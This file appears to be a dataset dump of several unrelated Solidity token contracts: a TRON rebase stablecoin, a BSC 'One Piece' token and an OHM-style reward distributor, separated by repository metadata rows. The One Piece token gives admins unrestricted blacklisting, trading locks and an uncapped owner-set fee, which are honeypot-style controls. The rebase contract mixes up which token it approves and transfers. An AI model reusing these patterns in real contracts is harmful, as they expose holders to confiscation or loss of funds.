function safeDecreaseAllowance(ITRC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
interface IExchange {
function getTrxToTokenInputPrice(uint256 trx_sold) external view returns (uint256);
function getTokenToTrxInputPrice(uint256 tokens_sold) external view returns (uint256);
function getTrxToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256);
function getTokenToTrxOutputPrice(uint256 trx_bought) external view returns (uint256);
function tokenAddress() external view returns (address);
function factoryAddress() external view returns (address);
}
interface IJustswapFactory {
function initializeFactory(address template) external;
function createExchange(address token) external returns (address payable);
function getExchange(address token) external view returns (address payable);
function getToken(address token) external view returns (address);
function getTokenWihId(uint256 token_id) external view returns (address);
}
contract TSC is TRC20Detailed, TRC20 {
using SafeTRC20 for ITRC20;
using Address for address;
using SafeMath for uint;
uint public decimalVal;
// rebase logic
uint public LowPrice = 950000; // 0.95 USDT
uint public HighPrice = 1050000; // 1.05 USDT
ITRC20 public bondToken;
address public boardRoom;
uint public rebaseTime;
uint public rebaseAmount;
function setBondToken(address token) public onlyOwner returns (bool) {
bondToken = ITRC20(token);
return true;
}
function setBoardRoom(address addr) public onlyOwner returns (bool) {
boardRoom = addr;
return true;
}
constructor () public TRC20Detailed("TSC", "TSC", 18) {
decimalVal = 10 ** 18;
_mint(msg.sender, 300000*decimalVal);
boardRoom = msg.sender;
}
function burn(uint amount) public returns (bool) {
super._burn(msg.sender, amount);
}
IJustswapFactory JustswapFactory = IJustswapFactory(0x41eed9e56a5cddaa15ef0c42984884a8afcf1bdebb);
ITRC20 public usdtToken = ITRC20(0x41a614f803b6fd780986a42c78ec9c7f77e6ded13c);
IExchange usdtExchange = IExchange(0x41a2726afbecbd8e936000ed684cef5e2f5cf43008);
uint usdtUnit = 1e6;
ITRC20 public cashToken;
IExchange cashExchange;
uint cashUnit;
function setCashToken(address token, uint decimals) public onlyOwner returns (bool) {
cashToken = ITRC20(token);
cashUnit = 10 ** decimals;
cashExchange = IExchange(JustswapFactory.getExchange(token));
require(address(0) != address(cashExchange), "cash token not in justswap");
return true;
}
function trxPrice() internal view returns (uint) {
require(address(cashExchange) != address(0), "cash exchange not set");
return cashExchange.getTokenToTrxInputPrice(cashUnit);
}
function usdtPrice() public view returns (uint) {
require(address(0) != address(cashToken), "invalid cash token");
require(address(0) != address(cashExchange), "invalid cash token exchange");
uint usdtTrx = usdtExchange.getTokenToTrxInputPrice(usdtUnit);
uint cashTrx = trxPrice();
return cashTrx * 1e6 / usdtTrx;
}
function rebase() public onlyOwner returns (bool) {
require(address(cashToken) != address(0), "cash token not set");
require(address(bondToken) != address(0), "bond token not set");
require(boardRoom != address(0), "boardRoom address not set");
rebaseTime = now;
rebaseAmount = 0;
uint selfPrice = usdtPrice();
if (selfPrice > HighPrice) {
uint incAmount = totalSupply() * (selfPrice.sub(HighPrice)) / 1e6;
_mint(address(this), incAmount);
rebaseAmount = incAmount;
cashToken.approve(address(bondToken), incAmount); // for exchange
_mint(boardRoom, incAmount.mul(3).div(100)); // for union
return true;
}
return false;
}
address public stakeBank;
function setStakeBank(address addr) public onlyOwner returns (bool) {
stakeBank = addr;
return true;
}
function setStakeReward() public onlyOwner returns (bool) {
require(address(0) != stakeBank, "stake bank not set");
require(rebaseAmount > 0, "invalid rebase amount");
// require(block.timestamp >= rebaseTime + 12 hours, "invalid time");
cashToken.approve(address(bondToken), 0); // stop bond exchange
uint remain = balanceOf(address(this));
cashToken.transfer(stakeBank, remain);
return true;
}
ITRC20 presaleToken;
function setPresaleToken(address token) public onlyOwner returns (bool) {
presaleToken = ITRC20(token);
return true;
}
function presaleTokenExchange(uint amount) public returns (uint) {
require(address(presaleToken) != address(0), "presale token not set");
presaleToken.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
return amount;
}
}
| 294,863 | 13,612 |
2b08d0fcc27df536a415f783113d2bbfdf3c4f3a636f9a2df5be993adf05486f
| 26,357 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1cB863F1D4249fDFb0EB4dC9549436E661A0Bb16/contract.sol
| 3,731 | 14,728 |
pragma solidity 0.8.7;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal virtual view returns (address) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface Token {
function transfer(address, uint256) external returns (bool);
}
contract Onepiece is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "One Piece";
string private _symbol = "RUFFY";
uint8 private _decimals = 18;
address public charityAddress = 0xB82b89435c4b91E50EA42c73513B30Db88cC1A0e;
bool public tradingEnabled = false;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => bool) isBlacklisted;
mapping(address => bool) isAdmin;
mapping(address => bool) isExcludedFromFee;
address[] internal _excluded;
uint256 internal _tokenTotal = 100000000 *10**18;
uint256 public _charityFee = 50;
uint256 public _charityFeeTotal;
event RewardsDistributed(uint256 amount);
constructor() {
isExcludedFromFee[_msgSender()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[address(charityAddress)] = true;
isAdmin[_msgSender()] = true;
_tokenBalance[_msgSender()] = _tokenTotal;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public override view returns (uint256) {
return _tokenBalance[account];
}
function transfer(address recipient, uint256 amount) public override virtual returns (bool) {
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"BSC: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BSC: decreased allowance below zero"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BSC: approve from the zero address");
require(spender != address(0), "BSC: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BSC: transfer from the zero address");
require(recipient != address(0), "BSC: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before token launch.");
require(!isBlacklisted[recipient], "Recipient is blacklisted");
require(!isBlacklisted[sender], "Sender is blacklisted");
uint256 transferAmount = amount;
if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){
transferAmount = collectFee(sender,amount);
}
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount) private returns (uint256) {
uint256 transferAmount = amount;
//@dev charity fee
if(_charityFee != 0){
uint256 charityFee = amount.mul(_charityFee).div(10000);
transferAmount = transferAmount.sub(charityFee);
_tokenBalance[charityAddress] = _tokenBalance[charityAddress].add(charityFee);
_charityFeeTotal = _charityFeeTotal.add(charityFee);
emit Transfer(account,charityAddress,charityFee);
}
return transferAmount;
}
function AddToExcludedFromFee(address _user) public onlyOwner {
require(!isExcludedFromFee[_user], "user already blacklisted");
isExcludedFromFee[_user] = true;
}
function removeFromExcludedFromFee(address _user) public onlyOwner {
require(isExcludedFromFee[_user], "user already whitelisted");
isExcludedFromFee[_user] = false;
}
function QueryExcludedFromFee(address _user) public view returns (bool) {
return isExcludedFromFee[_user];
}
function AddToBlacklist(address _user) public {
require(isAdmin[_msgSender()], "this function is for admins only");
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
}
function removeFromBlacklist(address _user) public {
require(isAdmin[_msgSender()], "this function is for admins only");
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
}
function QueryBlacklist(address _user) public view returns (bool) {
return isBlacklisted[_user];
}
function AddToAdmins(address _user) public onlyOwner {
require(!isAdmin[_user], "user already admin so cannot add");
isAdmin[_user] = true;
}
function removeFromAdmins(address _user) public onlyOwner {
require(isAdmin[_user], "user is not an admin so cannot remove");
isAdmin[_user] = false;
}
function QueryAdminlist(address _user) public onlyOwner view returns (bool) {
return isAdmin[_user];
}
function setCharityFee(uint256 fee) public onlyOwner {
_charityFee = fee;
}
function enableTrading() public onlyOwner {
tradingEnabled = true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "BSC: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BSC: burn from the zero address");
uint256 accountBalance;
accountBalance = _tokenBalance[account];
_tokenBalance[account] = accountBalance.sub(amount, "BSC: burn amount exceeds balance");
_tokenTotal = _tokenTotal.sub(amount);
emit Transfer(account, address(0), amount);
}
// function to allow admin to transfer ETH from this contract
function TransferETH(address payable recipient, uint256 amount) public onlyOwner {
recipient.transfer(amount);
}
// function to allow admin to transfer BNB tokens from this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
Token(_tokenAddress).transfer(_to, _amount);
}
receive() external payable {}
}
| 253,333 | 13,613 |
54e292c4541a6073a109cd370f98b83b31cf4e2f7371ef9c1a9549c125d050ff
| 17,524 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d8/d8a881baceb6b026c796889178f8703df423c020_Distributor.sol
| 3,874 | 15,332 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHMD;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohmd, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohmd != address(0));
OHMD = _ohmd;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHMD).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 101,372 | 13,614 |
511398bc0d56f020de8a0b1416ddfd453e0707a0f369862ba26a39a8008f38c4
| 29,503 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cb/cb10C54D2DFCe65f2dB3ff5Aa97d2F5957F13aFf_Singularity.sol
| 5,201 | 18,746 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
